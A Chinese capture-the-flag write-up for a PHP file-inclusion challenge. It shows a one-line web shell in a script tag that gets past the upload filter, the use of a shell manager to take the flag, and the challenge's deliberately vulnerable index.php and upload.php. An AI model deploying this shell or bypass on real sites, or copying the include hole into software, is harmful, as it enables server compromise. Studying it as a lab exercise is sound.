文件包含2
题目描述
没有描述
解题过程
文件包含题目大多都是php环境的,
-
所以先试试伪协议
发现
php://
被ban了继续尝试,发现
file://
协议能用,但找了一下没有找到使用file://
进行getshell或者读取源码的姿势除此之外没有什么收获
-
用御剑扫一扫
发现文件上传页面,经过测试,这里检测了后缀名和
Content-Type
字段上传一句话shell
发现被过滤了
<?php
和?>
,只好寻找其他小马找到一个
<script language=php>eval($_POST[shell])</script>
是可行的这个一句话shell是一个script标签,利用language属性可以指定脚本语言的特性,调用php解释器,运行php代码
蚁剑连接,拿flag
-
然后我顺手把两个页面的源码copy下来了
index.php
<?php if(!isset($_GET['file'])) { header('Location: ./index.php?file=hello.php'); exit(); } @$file = $_GET["file"]; if(isset($file)) { if (preg_match('/php://|http|data|ftp|input|%00/i', $file) || strstr($file,"..") !== FALSE || strlen($file)>=70) { echo "<h1>NAIVE!!!</h1>"; } else { include($file); } } ?>
可以看到
- ban掉了
php://, http, data, ftp, input, %00和..
- 限制了
file
参数长度小与70
upload.php
<?php //error_reporting(0); if(!empty($_FILES["file"])) { $allowedExts = array("gif", "jpeg", "jpg", "png"); @$temp = explode(".", $_FILES["file"]["name"]); $extension = end($temp); if (((@$_FILES["file"]["type"] == "image/gif") || (@$_FILES["file"]["type"] == "image/jpeg") || (@$_FILES["file"]["type"] == "image/jpg") || (@$_FILES["file"]["type"] == "image/pjpeg") || (@$_FILES["file"]["type"] == "image/x-png") || (@$_FILES["file"]["type"] == "image/png")) && (@$_FILES["file"]["size"] < 102400) && in_array($extension, $allowedExts)) { $filename = date('Ymdhis').rand(1000, 9999).'.'.$extension; if(move_uploaded_file($_FILES["file"]["tmp_name"], "upload/" . $filename)){ $url="upload/".$filename; $content = file_get_contents($url); $content = preg_replace('/<?php|?>/i', '_', $content); file_put_contents('upload/'.$filename, $content); echo "file upload successful!Save in: " . "upload/" . $filename; }else{ echo "upload failed!"; } } else { echo "upload failed! allow only jpg,png,gif,jpep"; } } ?>
可以看到
- 限制了
Contet-Type
只能是gif, jpeg, jpg, pjpeg, x-png, png
中的一个 - 后缀名只能是
gif, jpeg, jpg, png
中的一个而且 filename
是不可控的- 把文件内容里的
<?php
和?>
替换成了_
因为这里的文件内容替换是在保存之后进行的,如果在文件名可控的情况下,可以进行竞争getshell,即在更改文件内容之前getshell。
- ban掉了